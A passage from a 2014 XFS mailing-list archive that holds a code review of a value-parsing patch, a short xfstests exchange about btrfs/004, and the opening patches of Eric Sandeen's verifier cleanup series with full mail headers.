NYBBLE((int)*arg) << 4; > + arg++; > + > + /* skip more hyphens */ > + while (*arg == '-') > + arg++; > + > + /* get second nybble */ > + if (!isxdigit((int)*arg)) > + return NULL; > + if (bit_length <= 64) > + val = (val << 4) + NYBBLE((int)*arg); > + else > + *rbuf++ |= NYBBLE((int)*arg); > + arg++; > } > - if (bytes<0&&*arg) return NULL; > - return buf; > - } else { > + if (bytes < 0 && *arg) > + return NULL; > + > /* > - * handle integers > + * Values larger than 64 bits are array of hex digits that > + * already in the desired ordering (example UUID). > */ > - *value = strtoll(arg, NULL, 0); > + if (bit_length > 64) > + return buf; I don't understand why you added this - how can we have input left that we need to parse after the above loop? @bytes will always be <= 0 at this point in time, which means we have no space in the bit field left to put values into.... > + } else { > + /* handle decimal / hexadecimal integers */ > > -#if __BYTE_ORDER == BIG_ENDIAN > - /* hackery for big endian */ > - if (bit_length <= 8) { > - rbuf += 7; > - } else if (bit_length <= 16) { > - rbuf += 6; > - } else if (bit_length <= 32) { > - rbuf += 4; > - } > -#endif > - return rbuf; > + val = strtoll(arg, &endp, 0); > + /* return if not a clean number */ > + if (*endp != '\0') > + return NULL; > } > + > + /* Is this value valid for the bit length? */ > + if (val >> bit_length) > + return NULL; That's quite ambiguous - it's not obviously correct as it requires close attention to determine that the code actually functions correctly. i.e. I had to look very closely to determine ">>" or ">" should have been used here. Can you rewrite it as: /* Check if the value can fit into the supplied bitfield */ if ((val >> bit_length) > 0) return NULL; > + /* > + * If the length of the field is not a multiple of a byte, push > + * the bits up in the field, so the most signicant field bit is > + * the most significant bit in the byte: > + * > + * before: > + * val |----|----|----|----|----|--MM|mmmm|llll| > + * after > + * val |----|----|----|----|----|MMmm|mmll|ll00| > + */ > + offset = bit_length % NBBY; > + if (offset) > + val <<= (NBBY - offset); > + > + /* > + * convert to big endian and copy into the array > + * rbuf |----|----|----|----|----|MMmm|mmll|ll00| > + */ > + *value = cpu_to_be64(val); > + > + /* > + * Align the array to point to the field in the array. > + * rbuf = |MMmm|mmll|ll00| > + */ > + offset = sizeof(__be64) - 1 - ((bit_length - 1)/ sizeof(__be64)); ^^ whitespace Other that that, the comments greatly improve this code. Thanks for doing that. Cheers, Dave. -- Dave Chinner david@fromorbit.com From prvs=7119742a2b=jbacik@fb.com Mon Feb 10 20:02:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A17FD7F50 for ; Mon, 10 Feb 2014 20:02:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7A495304048 for ; Mon, 10 Feb 2014 18:02:26 -0800 (PST) X-ASG-Debug-ID: 1392084145-04cbb00c28259560001-NocioJ Received: from mx0b-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id xaGWBvMixuJLWfCH for ; Mon, 10 Feb 2014 18:02:25 -0800 (PST) X-Barracuda-Envelope-From: prvs=7119742a2b=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004060 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s1B21OWC006982; Mon, 10 Feb 2014 18:02:15 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=d+tFTiDHrLpkl6ml95e6imScgnm2EQW15wNuG6cnyTE=; b=LlEKGXkm6JAR5a2Q+NIzCjfNGiqvcitJIWLBc4OrYzoz4Bpf384LMBP4TcpR0qaxQJjG ScY7yzblNxcDdc9m7+GOafUkd4Epn39l04+zq0uYAje5N3RJHHU1YdjO9l5dAxl5s0yq egJJHyjO/s55QONfSNS0JD7ADD1bBBh7pmI= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1hy91y8c78-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 10 Feb 2014 18:02:15 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.thefacebook.com (192.168.16.12) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 10 Feb 2014 18:02:12 -0800 Message-ID: <52F98495.3040600@fb.com> Date: Mon, 10 Feb 2014 21:01:57 -0500 From: Josef Bacik User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Wang Shilong CC: Wang Shilong , , Subject: Re: [PATCH] xfstests: btrfs/004: fix to make test really work References: <1392034256-2412-1-git-send-email-wangshilong1991@gmail.com> <52F925EA.20600@fb.com> <52F97B3E.9060608@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: btrfs/004: fix to make test really work In-Reply-To: <52F97B3E.9060608@cn.fujitsu.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-02-10_04:2014-02-10,2014-02-10,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=2.04749753601741e-06 kscore.compositescore=0 circleOfTrustscore=240.132742654203 compositescore=0.324642340081358 urlsuspect_oldscore=0.324642340081358 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=2524143 rbsscore=0.324642340081358 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1402100183 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1392084145 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/10/2014 08:22 PM, Wang Shilong wrote: > Hi Josef, > > On 02/11/2014 03:18 AM, Josef Bacik wrote: >> >> >> On 02/10/2014 07:10 AM, Wang Shilong wrote: >>> From: Wang Shilong >>> >>> So i was wandering why test 004 could pass my previous wrong >>> kernel patch while it defenitely should not. >>> >>> By some debugging, i found here perl script is wrong, we did not >>> filter out anything and this unit test did not work acutally.so >>> it came out we will never fail this test. >>> >> >> So now with this patch I'm failing it, is there some btrfs patch I >> need to make it not fail or is it still not supposed to fail normally >> and is this patch broken? Thanks, > You should not have updated my previous patch(Btrfs: switch to > btrfs_previous_extent_item()) when you fail this test. > I update your latest btrfs-next which has updated my previous patch > and it can pass this case, did you miss that? Hrm I must not have insmod'ed the new module, which now means I have to re-run all my tests, sigh. Josef From sandeen@sandeen.net Mon Feb 10 21:08:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F16F17F3F for ; Mon, 10 Feb 2014 21:08:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C4202304067 for ; Mon, 10 Feb 2014 19:08:27 -0800 (PST) X-ASG-Debug-ID: 1392088102-04bdf0121d2842b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 0Ttx3R4Cp2hQEUTB for ; Mon, 10 Feb 2014 19:08:23 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 7B9BA6142695 for ; Mon, 10 Feb 2014 21:08:22 -0600 (CST) Message-ID: <52F99426.3010409@sandeen.net> Date: Mon, 10 Feb 2014 21:08:22 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 0/7 V2] xfs: verifier modification series X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH 0/7 V2] xfs: verifier modification series Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392088102 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145015 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This is a handful of changes related to the verifiers. The end goal is to differentiate CRC errors from other non-CRC verifier errors. At this point it's somewhat RFC, if you don't like some of the changes made along the way, just speak up. Changes from V1 noted in each patch. Thanks, -Eric From sandeen@sandeen.net Mon Feb 10 21:09:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 48A957F3F for ; Mon, 10 Feb 2014 21:09:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BCC0EAC009 for ; Mon, 10 Feb 2014 19:09:19 -0800 (PST) X-ASG-Debug-ID: 1392088156-04cb6c6de1269700001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id tMqiJyImDz6Mm34y for ; Mon, 10 Feb 2014 19:09:17 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id A311B63CE389 for ; Mon, 10 Feb 2014 21:09:16 -0600 (CST) Message-ID: <52F9945C.8090206@sandeen.net> Date: Mon, 10 Feb 2014 21:09:16 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 1/7] xfs: limit superblock corruption errors to actual corruption References: <52F99426.3010409@sandeen.net> X-ASG-Orig-Subj: [PATCH 1/7] xfs: limit superblock corruption errors to actual corruption In-Reply-To: <52F99426.3010409@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392088156 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145015 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Today, if xfs_sb_read_verify xfs_sb_verify xfs_mount_validate_sb detects superblock corruption, it'll be extremely noisy, dumping 2 stacks, 2 hexdumps, etc. This is because we call XFS_CORRUPTION_ERROR in xfs_mount_validate_sb as well as in xfs_sb_read_verify. Also, *any* errors in xfs_mount_validate_sb which are not corruption per se; things like too-big-blocksize, bad version, bad magic, v1 dirs, rw-incompat etc - things which do not return EFSCORRUPTED - will still do the whole XFS_CORRUPTION_ERROR spew when xfs_sb_read_verify sees any error at all. And it suggests to the user that they should run xfs_repair, even if the root cause of the mount failure is a simple incompatibility. I'll submit that the probably-not-corrupted errors don't warrant this much noise, so this patch removes the warning for anything other than EFSCORRUPTED returns, and replaces the lower-level XFS_CORRUPTION_ERROR with an xfs_notice(). Signed-off-by: Eric Sandeen --- fs/xfs/xfs_sb.c | 5 ++--- 1 files changed, 2 insertions(+), 3 deletions(-) Unchanged from V1 diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index b7c9aea..efaef71 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -295,8 +295,7 @@ xfs_mount_validate_sb( sbp->sb_dblocks == 0 || sbp->sb_dblocks > XFS_MAX_DBLOCKS(sbp) || sbp->sb_dblocks < XFS_MIN_DBLOCKS(sbp))) { - XFS_CORRUPTION_ERROR("SB sanity check failed", - XFS_ERRLEVEL_LOW, mp, sbp); + xfs_notice(mp, "SB sanity check failed"); return XFS_ERROR(EFSCORRUPTED); } @@ -625,7 +624,7 @@ xfs_sb_read_verify( out_error: if (error) { - if (error != EWRONGFS) + if (error == EFSCORRUPTED) XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, error); -- 1.7.1 From sandeen@sandeen.net Mon Feb 10 21:09:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C25577F51 for ; Mon, 10 Feb 2014 21:09:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A3E678F8052 for ; Mon, 10 Feb 2014 19:09:42 -0800 (PST) X-ASG-Debug-ID: 1392088181-04cb6c6de3269740001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id nHj6aF9Zkx8LgpYT for ; Mon, 10 Feb 2014 19:09:41 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 8A7FB63CE389 for ; Mon, 10 Feb 2014 21:09:41 -0600 (CST) Message-ID: <52F99475.5050501@sandeen.net> Date: Mon, 10 Feb 2014 21:09:41 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 2/7] xfs: skip pointless CRC updates after verifier failures References: <52F99426.3010409@sandeen.net> X-ASG-Orig-Subj: [PATCH 2/7] xfs: skip pointless CRC updates after verifier failures In-Reply-To: <52F99426.3010409@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392088181 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145015 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Most write verifiers don't update CRCs after the verifier has failed and the buffer has been marked in error. These two didn't, but should. Add returns to the verifier failure block, since the buffer won't be written anyway. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_alloc_btree.c | 1 + fs/xfs/xfs_ialloc_btree.c | 1 + 2 files changed, 2 insertions(+), 0 deletions(-) Unchanged from V1 diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c index 1308542..144d3b0 100644 --- a/fs/xfs/xfs_alloc_btree.c +++ b/fs/xfs/xfs_alloc_btree.c @@ -373,6 +373,7 @@ xfs_allocbt_write_verify( XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + return; } xfs_btree_sblock_calc_crc(bp); diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index c8fa5bb..0028c50 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -261,6 +261,7 @@ xfs_inobt_write_verify( XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + return; } xfs_btree_sblock_calc_crc(bp); -- 1.7.1 From sandeen@sandeen.net Mon Feb 10 21:10:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4F35D7F4E for ; Mon, 10 Feb 2014 21:10:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2CC2B304067 for ; Mon, 10 Feb 2014 19:10:47 -0800 (PST) X-ASG-Debug-ID: 1392088245-04cbb00c2a25b140001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id lbEnMwZHcmaOUJAz for ; Mon, 10 Feb 2014 19:10:45 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id AA14B63CE389 for ; Mon, 10 Feb 2014 21:10:45 -0600 (CST) Message-ID: <52F994B5.3010000@sandeen.net> Date: Mon, 10 Feb 2014 21:10:45 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 3/7] xfs: Use defines for CRC offsets in all cases References: <52F99426.3010409@sandeen.net> X-ASG-Orig-Subj: [PATCH 3/7] xfs: Use defines for CRC offsets in all cases In-Reply-To: <52F99426.3010409@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392088245 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145015 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Some calls to crc functions used useful #defines, others used awkward offsetof() constructs. Switch them all to #define to make things a bit cleaner. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_ag.h | 6 ++++++ fs/xfs/xfs_alloc.c | 10 ++++------ fs/xfs/xfs_dinode.h | 2 ++ fs/xfs/xfs_format.h | 2 ++ fs/xfs/xfs_ialloc.c | 5 ++--- fs/xfs/xfs_inode_buf.c | 4 ++-- fs/xfs/xfs_sb.c | 5 ++--- fs/xfs/xfs_sb.h | 2 ++ fs/xfs/xfs_symlink_remote.c | 5 ++--- 9 files changed, 24 insertions(+), 17 deletions(-) New patch since V1 diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h index 3fc1098..0fdd410 100644 --- a/fs/xfs/xfs_ag.h +++ b/fs/xfs/xfs_ag.h @@ -89,6 +89,8 @@ typedef struct xfs_agf { /* structure must be padded to 64 bit alignment */ } xfs_agf_t; +#define XFS_AGF_CRC_OFF offsetof(struct xfs_agf, agf_crc) + #define XFS_AGF_MAGICNUM 0x00000001 #define XFS_AGF_VERSIONNUM 0x00000002 #define XFS_AGF_SEQNO 0x00000004 @@ -167,6 +169,8 @@ typedef struct xfs_agi { /* structure must be padded to 64 bit alignment */ } xfs_agi_t; +#define XFS_AGI_CRC_OFF offsetof(struct xfs_agi, agi_crc) + #define XFS_AGI_MAGICNUM 0x00000001 #define XFS_AGI_VERSIONNUM 0x00000002 #define XFS_AGI_SEQNO 0x00000004 @@ -222,6 +226,8 @@ typedef struct xfs_agfl { __be32 agfl_bno[]; /* actually XFS_AGFL_SIZE(mp) */ } xfs_agfl_t; +#define XFS_AGFL_CRC_OFF offsetof(struct xfs_agfl, agfl_crc) + /* * tags for inode radix tree */ diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 9eab2df..72ea855 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -486,7 +486,7 @@ xfs_agfl_read_verify( return; agfl_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agfl, agfl_crc)); + XFS_AGFL_CRC_OFF); agfl_ok = agfl_ok && xfs_agfl_verify(bp); @@ -516,8 +516,7 @@ xfs_agfl_write_verify( if (bip) XFS_BUF_TO_AGFL(bp)->agfl_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agfl, agfl_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGFL_CRC_OFF); } const struct xfs_buf_ops xfs_agfl_buf_ops = { @@ -2242,7 +2241,7 @@ xfs_agf_read_verify( if (xfs_sb_version_hascrc(&mp->m_sb)) agf_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agf, agf_crc)); + XFS_AGF_CRC_OFF); agf_ok = agf_ok && xfs_agf_verify(mp, bp); @@ -2272,8 +2271,7 @@ xfs_agf_write_verify( if (bip) XFS_BUF_TO_AGF(bp)->agf_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agf, agf_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGF_CRC_OFF); } const struct xfs_buf_ops xfs_agf_buf_ops = { diff --git a/fs/xfs/xfs_dinode.h b/fs/xfs/xfs_dinode.h index e5869b5..623bbe8 100644 --- a/fs/xfs/xfs_dinode.h +++ b/fs/xfs/xfs_dinode.h @@ -89,6 +89,8 @@ typedef struct xfs_dinode { /* structure must be padded to 64 bit alignment */ } xfs_dinode_t; +#define XFS_DINODE_CRC_OFF offsetof(struct xfs_dinode, di_crc) + #define DI_MAX_FLUSH 0xffff /* diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h index b6ab5a3..9898f31 100644 --- a/fs/xfs/xfs_format.h +++ b/fs/xfs/xfs_format.h @@ -145,6 +145,8 @@ struct xfs_dsymlink_hdr { __be64 sl_lsn; }; +#define XFS_SYMLINK_CRC_OFF offsetof(struct xfs_dsymlink_hdr, sl_crc) + /* * The maximum pathlen is 1024 bytes. Since the minimum file system * blocksize is 512 bytes, we can get a max of 3 extents back from diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 5d7f105..d79210b 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1572,7 +1572,7 @@ xfs_agi_read_verify( if (xfs_sb_version_hascrc(&mp->m_sb)) agi_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agi, agi_crc)); + XFS_AGI_CRC_OFF); agi_ok = agi_ok && xfs_agi_verify(bp); if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, @@ -1600,8 +1600,7 @@ xfs_agi_write_verify( if (bip) XFS_BUF_TO_AGI(bp)->agi_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_agi, agi_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGI_CRC_OFF); } const struct xfs_buf_ops xfs_agi_buf_ops = { diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c index 4fc9f39..606b43a 100644 --- a/fs/xfs/xfs_inode_buf.c +++ b/fs/xfs/xfs_inode_buf.c @@ -306,7 +306,7 @@ xfs_dinode_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return false; if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc))) + XFS_DINODE_CRC_OFF)) return false; if (be64_to_cpu(dip->di_ino) != ip->i_ino) return false; @@ -327,7 +327,7 @@ xfs_dinode_calc_crc( ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc)); + XFS_DINODE_CRC_OFF); dip->di_crc = xfs_end_cksum(crc); } diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index efaef71..1c6dc6d 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -611,7 +611,7 @@ xfs_sb_read_verify( dsb->sb_crc != 0)) { if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), - offsetof(struct xfs_sb, sb_crc))) { + XFS_SB_CRC_OFF)) { /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn != XFS_SB_DADDR && xfs_sb_version_hascrc(&mp->m_sb)) { @@ -675,8 +675,7 @@ xfs_sb_write_verify( if (bip) XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_sb, sb_crc)); + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SB_CRC_OFF); } const struct xfs_buf_ops xfs_sb_buf_ops = { diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 35061d4..f7b2fe7 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -182,6 +182,8 @@ typedef struct xfs_sb { /* must be padded to 64 bit alignment */ } xfs_sb_t; +#define XFS_SB_CRC_OFF offsetof(struct xfs_sb, sb_crc) + /* * Superblock - on disk version. Must match the in core version above. * Must be padded to 64 bit alignment. diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index bf59a2b..7a705a4 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -134,7 +134,7 @@ xfs_symlink_read_verify( return; if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)) || + XFS_SYMLINK_CRC_OFF) || !xfs_symlink_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); @@ -162,8 +162,7 @@ xfs_symlink_write_verify( struct xfs_dsymlink_hdr *dsl = bp->b_addr; dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); } - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_dsymlink_hdr, sl_crc)); + 